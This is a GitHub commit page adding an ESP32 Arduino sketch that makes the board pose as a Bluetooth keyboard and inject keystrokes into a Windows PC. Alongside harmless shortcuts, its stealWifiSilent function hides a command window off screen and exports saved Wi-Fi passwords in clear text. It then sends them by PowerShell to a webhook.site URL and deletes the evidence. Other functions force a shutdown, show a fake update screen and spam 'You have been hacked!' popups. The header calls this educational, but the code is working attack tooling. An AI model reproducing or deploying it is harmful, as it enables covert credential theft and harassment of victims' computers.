Skip to content

Commit f85f528

Browse files
authored
Add files via upload
1 parent a3de6ba commit f85f528

1 file changed

Lines changed: 375 additions & 0 deletions

File tree

Ducky.ino

Lines changed: 375 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,375 @@
1+
#include <BleKeyboard.h>
2+
3+
BleKeyboard bleKeyboard("ESP32_Keyboard", "ESP32_Inc", 100);
4+
bool websiteOpened = false;
5+
6+
void setup() {
7+
Serial.begin(115200);
8+
bleKeyboard.begin();
9+
Serial.println("🔄 Type 'help' to see available commands.");
10+
}
11+
12+
void typeSlow(String text, int charDelay = 40) {
13+
for (int i = 0; i < text.length(); i++) {
14+
bleKeyboard.print(String(text[i]));
15+
delay(charDelay);
16+
}
17+
}
18+
19+
void pressWinCombo(char keyChar) {
20+
bleKeyboard.press(KEY_LEFT_GUI);
21+
bleKeyboard.press(keyChar);
22+
delay(100);
23+
bleKeyboard.releaseAll();
24+
delay(500);
25+
}
26+
27+
void sendCtrlKey(char keyChar) {
28+
bleKeyboard.press(KEY_LEFT_CTRL);
29+
bleKeyboard.press(tolower(keyChar));
30+
delay(100);
31+
bleKeyboard.releaseAll();
32+
}
33+
34+
void sendArrowKey(String direction) {
35+
direction.toUpperCase();
36+
if (direction == "LEFT") bleKeyboard.write(KEY_LEFT_ARROW);
37+
else if (direction == "RIGHT") bleKeyboard.write(KEY_RIGHT_ARROW);
38+
else if (direction == "UP") bleKeyboard.write(KEY_UP_ARROW);
39+
else if (direction == "DOWN") bleKeyboard.write(KEY_DOWN_ARROW);
40+
}
41+
42+
void takeScreenshot() {
43+
bleKeyboard.press(KEY_PRTSC);
44+
delay(100);
45+
bleKeyboard.releaseAll();
46+
}
47+
48+
void openNotepad() {
49+
pressWinCombo('r');
50+
typeSlow("notepad");
51+
bleKeyboard.write(KEY_RETURN);
52+
}
53+
54+
void openCMD() {
55+
pressWinCombo('r');
56+
typeSlow("cmd");
57+
bleKeyboard.write(KEY_RETURN);
58+
}
59+
60+
void shutdownPC() {
61+
pressWinCombo('r');
62+
typeSlow("shutdown /s /f /t 5");
63+
bleKeyboard.write(KEY_RETURN);
64+
}
65+
66+
void lockPC() {
67+
bleKeyboard.press(KEY_LEFT_GUI);
68+
bleKeyboard.press('l');
69+
delay(100);
70+
bleKeyboard.releaseAll();
71+
}
72+
73+
void closeWindow() {
74+
bleKeyboard.press(KEY_LEFT_ALT);
75+
bleKeyboard.press(KEY_F4);
76+
delay(100);
77+
bleKeyboard.releaseAll();
78+
}
79+
80+
void openInstagram() {
81+
pressWinCombo('r');
82+
typeSlow("https://www.instagram.com/linuxndroid");
83+
bleKeyboard.write(KEY_RETURN);
84+
}
85+
86+
void stealWifiSilent() {
87+
Serial.println("🕵️ Running advanced Wi-Fi stealer silently...");
88+
pressWinCombo('r');
89+
delay(500);
90+
91+
// Open small CMD window
92+
typeSlow("cmd /k mode con: cols=15 lines=1");
93+
bleKeyboard.write(KEY_RETURN);
94+
delay(1500);
95+
96+
// Simulate ALT+SPACE → M → Move down → Enter (to push CMD off screen)
97+
bleKeyboard.press(KEY_LEFT_ALT);
98+
bleKeyboard.press(' ');
99+
delay(100);
100+
bleKeyboard.releaseAll();
101+
delay(100);
102+
bleKeyboard.write('m');
103+
delay(200);
104+
for (int i = 0; i < 100; i++) {
105+
bleKeyboard.write(KEY_DOWN_ARROW);
106+
delay(10);
107+
}
108+
bleKeyboard.write(KEY_RETURN);
109+
delay(300);
110+
111+
// Go to temp folder
112+
typeSlow("cd %temp%");
113+
bleKeyboard.write(KEY_RETURN);
114+
delay(500);
115+
116+
// Export Wi-Fi profiles with clear keys
117+
typeSlow("netsh wlan export profile key=clear");
118+
bleKeyboard.write(KEY_RETURN);
119+
delay(1000);
120+
121+
// Extract passwords into Wi-Fi-PASS
122+
typeSlow("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS");
123+
bleKeyboard.write(KEY_RETURN);
124+
delay(1000);
125+
126+
// Send passwords to webhook
127+
typeSlow("powershell Invoke-WebRequest -Uri https://webhook.site/4ec7c917-7b1d-4f65-b020-b591dd0512da -Method POST -InFile Wi-Fi-PASS");
128+
bleKeyboard.write(KEY_RETURN);
129+
delay(1500);
130+
131+
// Clean up files
132+
typeSlow("del Wi-* /s /f /q");
133+
bleKeyboard.write(KEY_RETURN);
134+
delay(500);
135+
136+
// Exit CMD
137+
typeSlow("exit");
138+
bleKeyboard.write(KEY_RETURN);
139+
delay(500);
140+
}
141+
142+
void AboutUs() {
143+
Serial.println();
144+
Serial.println("📃 === ABOUT US ===");
145+
Serial.println();
146+
Serial.println("👨‍💻 Project Created By: Linuxndroid & Krishna Rajput");
147+
Serial.println("📚 Purpose: Educational Use & Learning ESP32 HID (Ducky Style)");
148+
Serial.println();
149+
Serial.println("💡 Hacker Quotes:");
150+
Serial.println("\"Hack the planet!\"");
151+
Serial.println("\"The quieter you become, the more you are able to hear.\"");
152+
Serial.println("\"It's not a bug, it's a feature...\" 😎");
153+
Serial.println();
154+
Serial.println("🔗 Follow Us:");
155+
Serial.println("Linuxndroid YouTube: https://youtube.com/Linuxndroid");
156+
Serial.println();
157+
Serial.println("⚠️ Use responsibly. Knowledge is power — use it wisely.");
158+
Serial.println("=======================");
159+
}
160+
void runFakeBSOD() {
161+
pressWinCombo('r');
162+
delay(500);
163+
typeSlow("msedge --kiosk https://fakeupdate.net/win10/"); // or "chrome --kiosk"
164+
bleKeyboard.write(KEY_RETURN);
165+
}
166+
void popupAlertSpam() {
167+
openCMD();
168+
delay(500);
169+
typeSlow("for /l %i in (1,1,20) do start cmd /c \"echo msgbox \\\"You have been hacked!\\\" > %temp%\\a.vbs & start %temp%\\a.vbs\"");
170+
bleKeyboard.write(KEY_RETURN);
171+
}
172+
void showHelp() {
173+
Serial.println("🆘 Available Commands:");
174+
Serial.println("----------------------------------");
175+
Serial.println("▶ notepad → Open Notepad");
176+
Serial.println("▶ youtube <search> → Open YouTube");
177+
Serial.println("▶ google <search> → Open Google");
178+
Serial.println("▶ whatsapp <no> <msg> → Send message to WhatsApp");
179+
Serial.println("▶ wp-ss <no> → Send Screenshot to WhatsApp");
180+
Serial.println("▶ cmd → Open Command Prompt");
181+
Serial.println("▶ shutdown → Shutdown PC in 5 sec");
182+
Serial.println("▶ run → Open Run Dialog (Win + R)");
183+
Serial.println("▶ url <Command> → Open custom Command in Run Box");
184+
Serial.println("▶ lock → Lock the PC");
185+
Serial.println("▶ close → Close current app");
186+
Serial.println("▶ ENTER → Press Enter key");
187+
Serial.println("▶ screenshot → Take screenshot");
188+
Serial.println("▶ CTRL+<key> → CTRL+A, CTRL+C, CTRL+V, e.g.");
189+
Serial.println("▶ WIN / LEFT / RIGHT / UP / DOWN → Arrow keys");
190+
Serial.println("▶ WiFi → Dump Wifi Password Target");
191+
Serial.println("▶ Fake → Fake Update Show Target");
192+
Serial.println("▶ Spam → Spam Box Show Target");
193+
Serial.println("▶ help → Show this help list");
194+
Serial.println("▶ About → Show creator info");
195+
Serial.println("----------------------------------");
196+
}
197+
198+
void sendWhatsAppMessage(String number, String message) {
199+
String url = "https://wa.me/+" + number + "?text=" + message;
200+
pressWinCombo('r');
201+
typeSlow(url);
202+
delay(300);
203+
bleKeyboard.write(KEY_RETURN);
204+
delay(4000);
205+
bleKeyboard.write(KEY_DOWN_ARROW);
206+
delay(300);
207+
bleKeyboard.write(KEY_RETURN);
208+
delay(5000);
209+
}
210+
211+
void openWhatsAppWeb() {
212+
pressWinCombo('r');
213+
typeSlow("https://wa.me/");
214+
delay(300);
215+
bleKeyboard.write(KEY_RETURN);
216+
delay(4000);
217+
bleKeyboard.write(KEY_DOWN_ARROW);
218+
delay(300);
219+
bleKeyboard.write(KEY_RETURN);
220+
delay(5000);
221+
}
222+
223+
void sendScreenshotToWhatsApp(String number) {
224+
takeScreenshot();
225+
delay(1000);
226+
String url = "https://wa.me/+" + number + "?text=";
227+
pressWinCombo('r');
228+
typeSlow(url);
229+
delay(300);
230+
bleKeyboard.write(KEY_RETURN);
231+
delay(4000);
232+
bleKeyboard.write(KEY_DOWN_ARROW);
233+
delay(300);
234+
bleKeyboard.write(KEY_RETURN);
235+
delay(5000);
236+
bleKeyboard.press(KEY_LEFT_CTRL);
237+
bleKeyboard.press('v');
238+
delay(2000);
239+
bleKeyboard.releaseAll();
240+
bleKeyboard.write(KEY_RETURN);
241+
}
242+
243+
void openYouTubeSearch(String searchQuery) {
244+
String url = "https://www.youtube.com/results?search_query=" + searchQuery;
245+
pressWinCombo('r');
246+
typeSlow(url);
247+
bleKeyboard.write(KEY_RETURN);
248+
}
249+
250+
void openGoogleSearch(String searchQuery) {
251+
String url = "https://www.google.com/search?q=" + searchQuery;
252+
pressWinCombo('r');
253+
typeSlow(url);
254+
bleKeyboard.write(KEY_RETURN);
255+
}
256+
257+
void openCustomURL(String url) {
258+
pressWinCombo('r');
259+
typeSlow(url);
260+
bleKeyboard.write(KEY_RETURN);
261+
}
262+
263+
void loop() {
264+
if (bleKeyboard.isConnected()) {
265+
if (!websiteOpened) {
266+
websiteOpened = true;
267+
268+
}
269+
270+
if (Serial.available()) {
271+
String input = Serial.readStringUntil('\n');
272+
input.trim();
273+
if (input.length() == 0) return;
274+
275+
if (input.equalsIgnoreCase("whatsapp")) {
276+
openWhatsAppWeb();
277+
}
278+
279+
else if (input.startsWith("whatsapp ")) {
280+
int firstSpace = input.indexOf(' ');
281+
int secondSpace = input.indexOf(' ', firstSpace + 1);
282+
if (secondSpace > 0) {
283+
String number = input.substring(firstSpace + 1, secondSpace);
284+
String message = input.substring(secondSpace + 1);
285+
sendWhatsAppMessage(number, message);
286+
}
287+
}
288+
289+
else if (input.startsWith("wp-ss")) {
290+
int spaceIndex = input.indexOf(' ');
291+
if (spaceIndex > 0 && input.length() > spaceIndex + 1) {
292+
String number = input.substring(spaceIndex + 1);
293+
sendScreenshotToWhatsApp(number);
294+
} else {
295+
openWhatsAppWeb();
296+
}
297+
}
298+
299+
else if (input.startsWith("youtube")) {
300+
if (input.length() == 7) {
301+
pressWinCombo('r');
302+
typeSlow("https://www.youtube.com");
303+
bleKeyboard.write(KEY_RETURN);
304+
} else {
305+
String search = input.substring(8);
306+
openYouTubeSearch(search);
307+
}
308+
}
309+
310+
else if (input.startsWith("google")) {
311+
if (input.length() == 6) {
312+
pressWinCombo('r');
313+
typeSlow("https://www.google.com");
314+
bleKeyboard.write(KEY_RETURN);
315+
} else {
316+
String search = input.substring(7);
317+
openGoogleSearch(search);
318+
}
319+
}
320+
321+
else if (input.startsWith("url ")) {
322+
String site = input.substring(4);
323+
openCustomURL(site);
324+
}
325+
else if (input.equalsIgnoreCase("Wifi")) {
326+
stealWifiSilent();
327+
}
328+
else if (input.equalsIgnoreCase("Fake")) runFakeBSOD();
329+
else if (input.equalsIgnoreCase("About")) AboutUs();
330+
else if (input.equalsIgnoreCase("Spam")) popupAlertSpam();
331+
else if (input.equalsIgnoreCase("notepad")) openNotepad();
332+
else if (input.equalsIgnoreCase("cmd")) openCMD();
333+
else if (input.equalsIgnoreCase("shutdown")) shutdownPC();
334+
else if (input.equalsIgnoreCase("run")) pressWinCombo('r');
335+
else if (input.equalsIgnoreCase("lock")) lockPC();
336+
else if (input.equalsIgnoreCase("close")) closeWindow();
337+
else if (input.equalsIgnoreCase("ENTER")) bleKeyboard.write(KEY_RETURN);
338+
else if (input.equalsIgnoreCase("screenshot")) takeScreenshot();
339+
else if (input.equalsIgnoreCase("win")) {
340+
bleKeyboard.press(KEY_LEFT_GUI);
341+
delay(100);
342+
bleKeyboard.releaseAll();
343+
}
344+
else if (input.equalsIgnoreCase("help")) showHelp();
345+
346+
else if (input.startsWith("CTRL+")) {
347+
String ctrlPart = input.substring(5);
348+
ctrlPart.toUpperCase();
349+
if (ctrlPart.length() == 1) {
350+
sendCtrlKey(ctrlPart.charAt(0));
351+
} else {
352+
for (int i = 0; i < ctrlPart.length(); i++) {
353+
bleKeyboard.press(ctrlPart.charAt(i));
354+
}
355+
delay(100);
356+
bleKeyboard.releaseAll();
357+
}
358+
}
359+
360+
else if (
361+
input.equalsIgnoreCase("LEFT") || input.equalsIgnoreCase("RIGHT") ||
362+
input.equalsIgnoreCase("UP") || input.equalsIgnoreCase("DOWN")) {
363+
sendArrowKey(input);
364+
}
365+
366+
else {
367+
Serial.print("⌨ Typing plain text: ");
368+
Serial.println(input);
369+
typeSlow(input);
370+
}
371+
}
372+
} else {
373+
websiteOpened = false;
374+
}
375+
}

0 commit comments

Comments
 (0)